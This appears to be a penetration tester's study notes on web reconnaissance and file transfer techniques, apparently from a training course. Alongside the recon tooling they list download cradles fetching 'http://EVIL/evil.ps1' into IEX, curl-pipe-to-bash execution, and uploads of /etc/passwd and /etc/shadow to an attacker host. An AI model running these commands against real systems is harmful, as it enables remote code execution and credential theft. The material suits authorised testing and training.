### DNSEnum The tool offers several key functions: * **DNS Record Enumeration**: `dnsenum` can retrieve various DNS records, including A, AAAA, NS, MX, and TXT records, providing a comprehensive overview of the target's DNS configuration. * **Zone Transfer Attempts**: The tool automatically attempts zone transfers from discovered name servers. While most servers are configured to prevent unauthorised zone transfers, a successful attempt can reveal a treasure trove of DNS information. * **Subdomain Brute-Forcing**: `dnsenum` supports brute-force enumeration of subdomains using a wordlist. This involves systematically testing potential subdomain names against the target domain to identify valid ones. * **Google Scraping**: The tool can scrape Google search results to find additional subdomains that might not be listed in DNS records directly. * **Reverse Lookup**: `dnsenum` can perform reverse DNS lookups to identify domains associated with a given IP address, potentially revealing other websites hosted on the same server. * **WHOIS Lookups**: The tool can also perform WHOIS queries to gather information about domain ownership and registration details. ```bash dnsenum --enum -f ~/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r ``` * `--enum` specifies the domain * `-f` for the wordlist * `-r` recursive ### Virtual Host Discovery Tools
ToolDescriptionFeatures
gobusterA multi-purpose tool often used for directory/file brute-forcing, but also effective for virtual host discovery.Fast, supports multiple HTTP methods, can use custom wordlists.
FeroxbusterSimilar to Gobuster, but with a Rust-based implementation, known for its speed and flexibility.Supports recursion, wildcard discovery, and various filters.
ffufAnother fast web fuzzer that can be used for virtual host discovery by fuzzing the Host header.Customizable wordlist input and filtering options.
#### Gobuster ```shell-session gobuster vhost -u http:// -w --append-domain ``` * The `-u` flag specifies the target URL (replace `` with the actual IP). * The `-w` flag specifies the wordlist file (replace `` with the path to your wordlist). * The `--append-domain` flag appends the base domain to each word in the wordlist. There are a couple of other arguments that are worth knowing: * Consider using the `-t` flag to increase the number of threads for faster scanning. * The `-k` flag can ignore SSL/TLS certificate errors. * You can use the `-o` flag to save the output to a file for later analysis. Example: ```shell-session gobuster vhost -u http://inlanefreight.htb:81 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain ``` ### Searching CT Logs There are two popular options for searching CT logs:
ToolKey FeaturesUse CasesProsCons
crt.shUser-friendly web interface, simple search by domain, displays certificate details, SAN entries.Quick and easy searches, identifying subdomains, checking certificate issuance history.Free, easy to use, no registration required.Limited filtering and analysis options.
CensysPowerful search engine for internet-connected devices, advanced filtering by domain, IP, certificate attributes.In-depth analysis of certificates, identifying misconfigurations, finding related certificates and hosts.Extensive data and filtering options, API access.Requires registration (free tier available).
#### crt.sh oneliner ```bash curl -s "https://crt.sh/?q=facebook.com&output=json" | jq -r '.[] | select(.name_value) | .name_value' | sort -u ``` # Fingerprinting ## Tools
ToolDescriptionFeatures
WappalyzerBrowser extension and online service for website technology profiling.Identifies a wide range of web technologies, including CMSs, frameworks, analytics tools, and more.
BuiltWithWeb technology profiler that provides detailed reports on a website's technology stack.Offers both free and paid plans with varying levels of detail.
WhatWebCommand-line tool for website fingerprinting.Uses a vast database of signatures to identify various web technologies.
NmapVersatile network scanner that can be used for various reconnaissance tasks, including service and OS fingerprinting.Can be used with scripts (NSE) to perform more specialised fingerprinting.
NetcraftOffers a range of web security services, including website fingerprinting and security reporting.Provides detailed reports on a website's technology, hosting provider, and security posture.
wafw00fCommand-line tool specifically designed for identifying Web Application Firewalls (WAFs).Helps determine if a WAF is present and, if so, its type and configuration.
## Banner grabbing ```shell-session curl -I https://www.inlanefreight.com ``` * `-I` is for a HEAD request ## WafW00f ```bash pip3 install git+https://github.com/EnableSecurity/wafw00f ``` ```bash wafw00f inlanefreight.com ``` ## Nikto ```bash sudo apt update && sudo apt install -y perl git clone https://github.com/sullo/nikto cd nikto/program chmod +x ./nikto.pl ``` ```bash nikto -h inlanefreight.com -Tuning b ``` * `-Tuning b` flag tells `Nikto` to only run the Software Identification modules. # Crawlers Remember to check: * robots.txt * .well-known ## Popular Web Crawlers 1. `Burp Suite Spider`: Burp Suite, a widely used web application testing platform, includes a powerful active crawler called Spider. Spider excels at mapping out web applications, identifying hidden content, and uncovering potential vulnerabilities. 2. `OWASP ZAP (Zed Attack Proxy)`: ZAP is a free, open-source web application security scanner. It can be used in automated and manual modes and includes a spider component to crawl web applications and identify potential vulnerabilities. 3. `Scrapy (Python Framework)`: Scrapy is a versatile and scalable Python framework for building custom web crawlers. It provides rich features for extracting structured data from websites, handling complex crawling scenarios, and automating data processing. Its flexibility makes it ideal for tailored reconnaissance tasks. 4. `Apache Nutch (Scalable Crawler)`: Nutch is a highly extensible and scalable open-source web crawler written in Java. It's designed to handle massive crawls across the entire web or focus on specific domains. While it requires more technical expertise to set up and configure, its power and flexibility make it a valuable asset for large-scale reconnaissance projects. ## Scrapy ```bash pip3 install scrapy ``` Good example: {% file src="/files/C8FQy3ugowZ3DvSpZFsJ" %} # Search Engine Discovery ## Google Dorking | Operator | Operator Description | Example | Example Description | | ----------------------- | ------------------------------------------------------------ | --------------------------------------------------- | --------------------------------------------------------------------------------------- | | `site:` | Limits results to a specific website or domain. | `site:example.com` | Find all publicly accessible pages on example.com. | | `inurl:` | Finds pages with a specific term in the URL. | `inurl:login` | Search for login pages on any website. | | `filetype:` | Searches for files of a particular type. | `filetype:pdf` | Find downloadable PDF documents. | | `intitle:` | Finds pages with a specific term in the title. | `intitle:"confidential report"` | Look for documents titled "confidential report" or similar variations. | | `intext:` or `inbody:` | Searches for a term within the body text of pages. | `intext:"password reset"` | Identify webpages containing the term “password reset”. | | `cache:` | Displays the cached version of a webpage (if available). | `cache:example.com` | View the cached version of example.com to see its previous content. | | `link:` | Finds pages that link to a specific webpage. | `link:example.com` | Identify websites linking to example.com. | | `related:` | Finds websites related to a specific webpage. | `related:example.com` | Discover websites similar to example.com. | | `info:` | Provides a summary of information about a webpage. | `info:example.com` | Get basic details about example.com, such as its title and description. | | `define:` | Provides definitions of a word or phrase. | `define:phishing` | Get a definition of "phishing" from various sources. | | `numrange:` | Searches for numbers within a specific range. | `site:example.com numrange:1000-2000` | Find pages on example.com containing numbers between 1000 and 2000. | | `allintext:` | Finds pages containing all specified words in the body text. | `allintext:admin password reset` | Search for pages containing both "admin" and "password reset" in the body text. | | `allinurl:` | Finds pages containing all specified words in the URL. | `allinurl:admin panel` | Look for pages with "admin" and "panel" in the URL. | | `allintitle:` | Finds pages containing all specified words in the title. | `allintitle:confidential report 2023` | Search for pages with "confidential," "report," and "2023" in the title. | | `AND` | Narrows results by requiring all terms to be present. | `site:example.com AND (inurl:admin OR inurl:login)` | Find admin or login pages specifically on example.com. | | `OR` | Broadens results by including pages with any of the terms. | `"linux" OR "ubuntu" OR "debian"` | Search for webpages mentioning Linux, Ubuntu, or Debian. | | `NOT` | Excludes results containing the specified term. | `site:bank.com NOT inurl:login` | Find pages on bank.com excluding login pages. | | `*` (wildcard) | Represents any character or word. | `site:socialnetwork.com filetype:pdf user* manual` | Search for user manuals (user guide, user handbook) in PDF format on socialnetwork.com. | | `..` (range search) | Finds results within a specified numerical range. | `site:ecommerce.com "price" 100..500` | Look for products priced between 100 and 500 on an e-commerce website. | | `" "` (quotation marks) | Searches for exact phrases. | `"information security policy"` | Find documents mentioning the exact phrase "information security policy". | | `-` (minus sign) | Excludes terms from the search results. | `site:news.com -inurl:sports` | Search for news articles on news.com excluding sports-related content. | * Finding Login Pages: * `site:example.com inurl:login` * `site:example.com (inurl:login OR inurl:admin)` * Identifying Exposed Files: * `site:example.com filetype:pdf` * `site:example.com (filetype:xls OR filetype:docx)` * Uncovering Configuration Files: * `site:example.com inurl:config.php` * `site:example.com (ext:conf OR ext:cnf)` (searches for extensions commonly used for configuration files) * Locating Database Backups: * `site:example.com inurl:backup` * `site:example.com filetype:sql` # Automating Recon ## Frameworks * [FinalRecon](https://github.com/thewhiteh4t/FinalRecon): A Python-based reconnaissance tool offering a range of modules for different tasks like SSL certificate checking, Whois information gathering, header analysis, and crawling. Its modular structure enables easy customisation for specific needs. * [Recon-ng](https://github.com/lanmaster53/recon-ng): A powerful framework written in Python that offers a modular structure with various modules for different reconnaissance tasks. It can perform DNS enumeration, subdomain discovery, port scanning, web crawling, and even exploit known vulnerabilities. * [theHarvester](https://github.com/laramies/theHarvester): Specifically designed for gathering email addresses, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and the SHODAN database. It is a command-line tool written in Python. * [SpiderFoot](https://github.com/smicallef/spiderfoot): An open-source intelligence automation tool that integrates with various data sources to collect information about a target, including IP addresses, domain names, email addresses, and social media profiles. It can perform DNS lookups, web crawling, port scanning, and more. * [OSINT Framework](https://osintframework.com/): A collection of various tools and resources for open-source intelligence gathering. It covers a wide range of information sources, including social media, search engines, public records, and more. ## FinalRecon `FinalRecon` offers a wealth of recon information: * `Header Information`: Reveals server details, technologies used, and potential security misconfigurations. * `Whois Lookup`: Uncovers domain registration details, including registrant information and contact details. * `SSL Certificate Information`: Examines the SSL/TLS certificate for validity, issuer, and other relevant details. * `Crawler`: * HTML, CSS, JavaScript: Extracts links, resources, and potential vulnerabilities from these files. * Internal/External Links: Maps out the website's structure and identifies connections to other domains. * Images, robots.txt, sitemap.xml: Gathers information about allowed/disallowed crawling paths and website structure. * Links in JavaScript, Wayback Machine: Uncovers hidden links and historical website data. * `DNS Enumeration`: Queries over 40 DNS record types, including DMARC records for email security assessment. * `Subdomain Enumeration`: Leverages multiple data sources (crt.sh, AnubisDB, ThreatMiner, CertSpotter, Facebook API, VirusTotal API, Shodan API, BeVigil API) to discover subdomains. * `Directory Enumeration`: Supports custom wordlists and file extensions to uncover hidden directories and files. * `Wayback Machine`: Retrieves URLs from the last five years to analyse website changes and potential vulnerabilities. ```bash git clone https://github.com/thewhiteh4t/FinalRecon.git cd FinalRecon pip3 install -r requirements.txt chmod +x ./finalrecon.py ./finalrecon.py --help ``` Usage: ```bash ./finalrecon.py --headers --whois --url http://inlanefreight.com ``` # Vulnerability Assessment * [Nessus](https://docs.tenable.com/Nessus.htm) * [OpenVAS](https://openvas.org/) Remember to alert before a vulnerability scan Always run safe scans Avoid: * Printer scanning * DoS scanning * Limit bandwidth on delicate networks Monitor network usage with vnstat: ```bash sudo vnstat -l -i eth0 ``` Useful tool to convert OpenVAS xml reports into other formats like Excel: [openvasreporting](https://github.com/TheGroundZero/openvasreporting) # File Transfers ## Hash functions Listed to verify transfers ### Linux ```bash md5sum ``` ### Windows ```powershell Get-FileHash -Algorithm md5 ``` # Windows Target ## Download operations (Attacker -> Target) ### Powershell Base64 Encode & Decode Linux payload preparation: ```bash cat id_rsa | base64 -w 0;echo ``` Windows PS: ```powershell [IO.File]::WriteAllBytes("C:\", [Convert]::FromBase64String("")) ``` ### PowerShell Web Downloads In any version of PowerShell, the [System.Net.WebClient](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-5.0) class can be used to download a file over `HTTP`, `HTTPS` or `FTP`. The following [table](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-6.0) describes WebClient methods for downloading data from a resource:
MethodDescription
OpenReadReturns the data from a resource as a Stream.
OpenReadAsyncReturns the data from a resource without blocking the calling thread.
DownloadDataDownloads data from a resource and returns a Byte array.
DownloadDataAsyncDownloads data from a resource and returns a Byte array without blocking the calling thread.
DownloadFileDownloads data from a resource to a local file.
DownloadFileAsyncDownloads data from a resource to a local file without blocking the calling thread.
DownloadStringDownloads a String from a resource and returns a String.
DownloadStringAsyncDownloads a String from a resource without blocking the calling thread.
#### File Download ```powershell (New-Object Net.WebClient).DownloadFile('','') ``` ```powershell (New-Object Net.WebClient).DownloadFileAsync('','') ``` #### File-less Instead of downloading a PowerShell script to disk, we can run it directly in memory using the [Invoke-Expression](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2) cmdlet or the alias `IEX`. ```powershell IEX (New-Object Net.WebClient).DownloadString('https://path/to/file.ps1') ``` ```powershell (New-Object Net.WebClient).DownloadString('https://path/to/file.ps1') | IEX ``` #### **PowerShell Invoke-WebRequest** From PowerShell 3.0 onwards, the [Invoke-WebRequest](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2) cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases `iwr`, `curl`, and `wget` instead of the `Invoke-WebRequest` full name. ```powershell Invoke-WebRequest https://path/to/file.ps1 -OutFile outname.ps1 ``` #### List of commands From [HarmJ0y](https://gist.github.com/HarmJ0y/bb48307ffa663256e239): ```powershell # normal download cradle IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") # PowerShell 3.0+ IEX (iwr 'http://EVIL/evil.ps1') # hidden IE com object $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r # Msxml2.XMLHTTP COM object $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText # WinHttp COM object (not proxy aware!) $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText # using bitstransfer- touches disk! Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r # DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1) # code to execute needs to be a base64 encoded string stored in a TXT record IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0])))) # from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d <# Get-Process #> $a = New-Object System.Xml.XmlDocument $a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt") $a.command.a.execute | iex ``` #### Possible Errors There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download. This can be bypassed using the parameter `-UseBasicParsing`. ```powershell Invoke-WebRequest https:///PowerView.ps1 -UseBasicParsing | IEX ``` Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command: ```powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ``` ### SMB Downloads We can use SMB to download files from our Pwnbox easily. We need to create an SMB server in our Pwnbox with [smbserver.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py) from Impacket and then use `copy`, `move`, PowerShell `Copy-Item`, or any other tool that allows connection to SMB. ```bash sudo impacket-smbserver share -smb2support /tmp/smbshare ``` Then from Windows: ```batch copy \\192.168.220.133\share\nc.exe ``` {% hint style="info" %} New versions of Windows block unauthenticated guest access {% endhint %} To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine: ```batch sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test ``` ```batch net use n: \\192.168.220.133\share /user:test test copy n:\nc.exe ``` ### FTP Downloads ```bash sudo pip3 install pyftpdlib sudo python3 -m pyftpdlib --port 21 ``` ```powershell (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt') ``` In case of non-interactive shell, create an ftp file: ```batch echo open 192.168.49.128 > ftpcommand.txt echo USER anonymous >> ftpcommand.txt echo binary >> ftpcommand.txt echo GET file.txt >> ftpcommand.txt echo bye >> ftpcommand.txt ftp -v -n -s:ftpcommand.txt more file.txt > This is a test file ``` *** ## Upload Operations (Target -> Attacker) ### PowerShell Base64 Encode & Decode ```powershell [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte)) ``` ### PowerShell Web Uploads #### **Installing a Configured WebServer with Upload** Preparing the Linux attack box to receive the file: ```bash pip3 install uploadserver python3 -m uploadserver ``` Now we can use a PowerShell script [PSUpload.ps1](https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1) which uses `Invoke-RestMethod` to perform the upload operations. The script accepts two parameters `-File`, which we use to specify the file path, and `-Uri`, the server URL where we'll upload our file. Let's attempt to upload the host file from our Windows host. ```powershell IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1') ``` ```powershell Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts ``` ### PowerShell Base64 Web Upload Another way to use PowerShell and base64 encoded files for upload operations is by using `Invoke-WebRequest` or `Invoke-RestMethod` together with Netcat. We use Netcat to listen in on a port we specify and send the file as a `POST` request. ```bash nc -lvnp 8000 ``` ```powershell $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte)) Invoke-WebRequest -Uri http://:8000/ -Method POST -Body $b64 ``` ### SMB Uploads An alternative (when SMB traffic is blocked) is to run SMB over HTTP with `WebDav`. `WebDAV` [(RFC 4918)](https://datatracker.ietf.org/doc/html/rfc4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The `WebDAV` protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. `WebDAV` can also use HTTPS. #### **Configuring WebDav Server** ```bash sudo pip3 install wsgidav cheroot ``` ```bash sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous ``` #### **Connecting to the Webdav Share** ```bash dir \\192.168.49.128\DavWWWRoot ``` {% hint style="info" %} `DavWWWRoot` is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server. You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \192.168.49.128\sharefolder {% endhint %} ```batch copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\ copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\ ``` {% hint style="info" %} If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations. {% endhint %} ### FTP Uploads Before we start our FTP Server using the Python module `pyftpdlib`, we need to specify the option `--write` to allow clients to upload files to our attack host. ```bash sudo python3 -m pyftpdlib --port 21 --write ``` ```powershell (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts') ``` Or creating the command file ```batch echo open 192.168.49.128 > ftpcommand.txt echo USER anonymous >> ftpcommand.txt echo binary >> ftpcommand.txt echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt echo bye >> ftpcommand.txt ftp -v -n -s:ftpcommand.txt ``` # Linux Target ## Download Operations (Attacker -> Target) ### Base64 Encoding and Decoding If you have access toa terminal on the target, you can just paste base64 into it and decode it ### Web Downloads with Wget and cURL ```bash wget -O ``` ```bash curl -o ``` ### Fileless Because of the way Linux works and how [pipes operate](https://www.geeksforgeeks.org/piping-in-unix-or-linux/), most of the tools we use in Linux can be used to replicate fileless operations, which means that we don't have to download a file to execute it. {% hint style="info" %} Some payloads such as `mkfifo` write files to disk. Keep in mind that while the execution of the payload may be fileless when you use a pipe, depending on the payload chosen it may create temporary files on the OS. {% endhint %} **Fileless Download with cURL** ```bash curl | bash ``` ```bash wget -qO- | python3 ``` ### Download with Bash (/dev/tcp) There may also be situations where none of the well-known file transfer tools are available. As long as Bash version 2.04 or greater is installed (compiled with --enable-net-redirections), the built-in /dev/TCP device file can be used for simple file downloads. ```bash exec 3<>/dev/tcp/10.10.10.32/80 ``` ```bash echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3 ``` ```bash cat <&3 ``` ### SSH Downloads On the Attacker machine install and/or enable SSH ```bash sudo systemctl enable ssh ``` ```bash sudo systemctl start ssh ``` On the Target machine: ```bash scp plaintext@192.168.49.128:/root/myroot.txt . ``` {% hint style="info" %} You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer. {% endhint %} *** ## Upload Operations (Target -> Attacker) ### Web Upload Same method as in Windows by creating an http server that allows uploads: ```bash sudo python3 -m pip install --user uploadserver ``` we can add to it a self-signed certificate: ```bash openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server' ``` (The webserver should not host the certificate. We recommend creating a new directory to host the file for our webserver) ```bash sudo python3 -m uploadserver 443 --server-certificate ~/server.pem ``` Finally let's upload multiple files in one request, from the Target machine run: ```bash curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure ``` We used the option `--insecure` because we used a self-signed certificate that we trust. ### Alternative Web File Transfer Method Since Linux distributions usually have `Python` or `php` installed, starting a web server to transfer files is straightforward. Also, if the server we compromised is a web server, we can move the files we want to transfer to the web server directory and access them from the web page, which means that we are downloading the file from our Pwnbox. ```bash python3 -m http.server ``` ```bash python2.7 -m SimpleHTTPServer ``` ```bash php -S 0.0.0.0:8000 ``` ```bash ruby -run -ehttpd . -p8000 ``` Then download the file normally from the Attacker machine ### SCP Upload ```bash scp /etc/passwd @:/home/kali/ ``` # Transferring Files with Code ## Python ```bash python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")' ``` ```bash python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")' ``` ## PHP ### **PHP Download with File\_get\_contents()** ```bash php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);' ``` ### **PHP Download with Fopen()** ```bash php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);' ``` ### **PHP Download a File and Pipe it to Bash** ```bash php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash ``` {% hint style="info" %} The URL can be used as a filename with the @file function if the fopen wrappers have been enabled {% endhint %} ## Ruby ```bash ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))' ``` ## **Perl** ```bash perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");' ``` ## Javascript The following JavaScript code is based on [this](https://superuser.com/questions/25538/how-to-download-files-from-command-line-in-windows-like-wget-or-curl/373068) post, and we can download a file using it. We'll create a file called `wget.js` and save the following content: ```javascript var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(WScript.Arguments(1)); ``` We can use the following command from a Windows command prompt or PowerShell terminal to execute our JavaScript code and download a file. ```batch cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1 ``` ## VBScript The following VBScript example can be used based on [this](https://stackoverflow.com/questions/2973136/download-a-file-with-vbs). We'll create a file called `wget.vbs` and save the following content: ```visual-basic dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", WScript.Arguments.Item(0), False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2 end with ``` We can use the following command from a Windows command prompt or PowerShell terminal to execute our VBScript code and download a file. ```batch cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1 ``` *** ## Upload Operations using Python3 On Attacker: ```bash python3 -m uploadserver ``` On Target: ```bash python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})' ``` # Miscellaneous File Transfer Methods ## File Transfer with Netcat and Ncat {% hint style="info" %} NCat is the NMap updated and maintained verison of the original Netcat (not maintained anymore) {% endhint %} ### Target Machine ```bash nc -l -p 8000 > SharpKatz.exe ``` If the compromised machine is using Ncat, we'll need to specify `--recv-only` to close the connection once the file transfer is finished. ```bash ncat -l -p 8000 --recv-only > SharpKatz.exe ``` ### Attack machine ```bash nc -q 0 192.168.49.128 8000 < SharpKatz.exe ``` By utilizing Ncat on our attacking host, we can opt for `--send-only` rather than `-q`. The `--send-only` flag, when used in both connect and listen modes, prompts Ncat to terminate once its input is exhausted. Typically, Ncat would continue running until the network connection is closed, as the remote side may transmit additional data. However, with `--send-only`, there is no need to anticipate further incoming information. ```bash ncat --send-only 192.168.49.128 8000 < SharpKatz.exe ``` ### **Attack Host - Sending File as Input to Netcat** ```bash sudo nc -l -p 443 -q 0 < SharpKatz.exe ``` ```bash sudo ncat -l -p 443 --send-only < SharpKatz.exe ``` ### **Target - Connect to Netcat to Receive the File** ```bash nc 192.168.49.128 443 > SharpKatz.exe ``` ```bash ncat 192.168.49.128 443 --recv-only > SharpKatz.exe ``` ### **Target - Connecting to Netcat Using /dev/tcp to Receive the File** ```bash cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe ``` ## PowerShell Session File Transfer We already talk about doing file transfers with PowerShell, but there may be scenarios where HTTP, HTTPS, or SMB are unavailable. If that's the case, we can use [PowerShell Remoting](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.2), aka WinRM, to perform file transfer operations. [PowerShell Remoting](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.2) allows us to execute scripts or commands on a remote computer using PowerShell sessions. Administrators commonly use PowerShell Remoting to manage remote computers in a network, and we can also use it for file transfer operations. By default, enabling PowerShell remoting creates both an HTTP and an HTTPS listener. The listeners run on default ports TCP/5985 for HTTP and TCP/5986 for HTTPS. To create a PowerShell Remoting session on a remote computer, we will need administrative access, be a member of the `Remote Management Users` group, or have explicit permissions for PowerShell Remoting in the session configuration. ### **From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.** ```powershell Test-NetConnection -ComputerName DATABASE01 -Port 5985 ``` ### **Create a PowerShell Remoting Session to DATABASE01** ```powershell $Session = New-PSSession -ComputerName DATABASE01 ``` ### **Copy samplefile.txt from our Localhost to the DATABASE01 Session** ```powershell Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\ ``` ### **Copy DATABASE.txt from DATABASE01 Session to our Localhost** ```powershell Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session ``` ## RDP ### **Mounting a Linux Folder Using rdesktop** ```shell-session rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files' ``` ### **Mounting a Linux Folder Using xfreerdp** ```shell-session xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer ``` ### Windows Native [mstsc.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc) remote desktop client can be used
# Protected Files Transfer {% hint style="info" %} Unless specifically requested by a client, we do not recommend exfiltrating data such as Personally Identifiable Information (PII), financial data (i.e., credit card numbers), trade secrets, etc., from a client environment. Instead, if attempting to test Data Loss Prevention (DLP) controls/egress filtering protections, create a file with dummy data that mimics the data that the client is trying to protect. {% endhint %} Data leakage during a penetration test could have severe consequences for the penetration tester, their company, and the client. As information security professionals, we must act professionally and responsibly and take all measures to protect any data we encounter during an assessment. ## File Encryption on Windows Many different methods can be used to encrypt files and information on Windows systems. One of the simplest methods is the [Invoke-AESEncryption.ps1](https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1) PowerShell script. This script is small and provides encryption of files and strings. ```powershell Import-Module .\Invoke-AESEncryption.ps1 ``` ### File Encryption example ```powershell Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt ``` {% hint style="warning" %} Using very `strong` and `unique` passwords for encryption for every company where a penetration test is performed is essential. This is to prevent sensitive files and information from being decrypted using one single password that may have been leaked and cracked by a third party. {% endhint %} ## File Encryption on Linux [OpenSSL](https://www.openssl.org/) is frequently included in Linux distributions, with sysadmins using it to generate security certificates, among other tasks. OpenSSL can be used to send files "nc style" to encrypt files. ### **Encrypting /etc/passwd with openssl** ```bash openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc ``` ### **Decrypt passwd.enc with openssl** ```bash openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd ``` # Catching Files over HTTP/S (Nginx) ## **Create a Directory to Handle Uploaded Files** ```bash sudo mkdir -p /var/www/uploads/SecretUploadDirectory ``` ## **Change the Owner to www-data** ```bash sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory ``` **Create Nginx Configuration File** Create the Nginx configuration file by creating the file `/etc/nginx/sites-available/upload.conf` with the contents: ## Catching Files over HTTP/S ```shell-session server { listen 9001; location /SecretUploadDirectory/ { root /var/www/uploads; dav_methods PUT; } } ``` ## **Symlink our Site to the sites-enabled Directory** ```bash sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/ ``` ## Start Nginx ```bash sudo systemctl restart nginx.service ``` ## Errors If we get any error messages, check `/var/log/nginx/error.log` ```bash tail -2 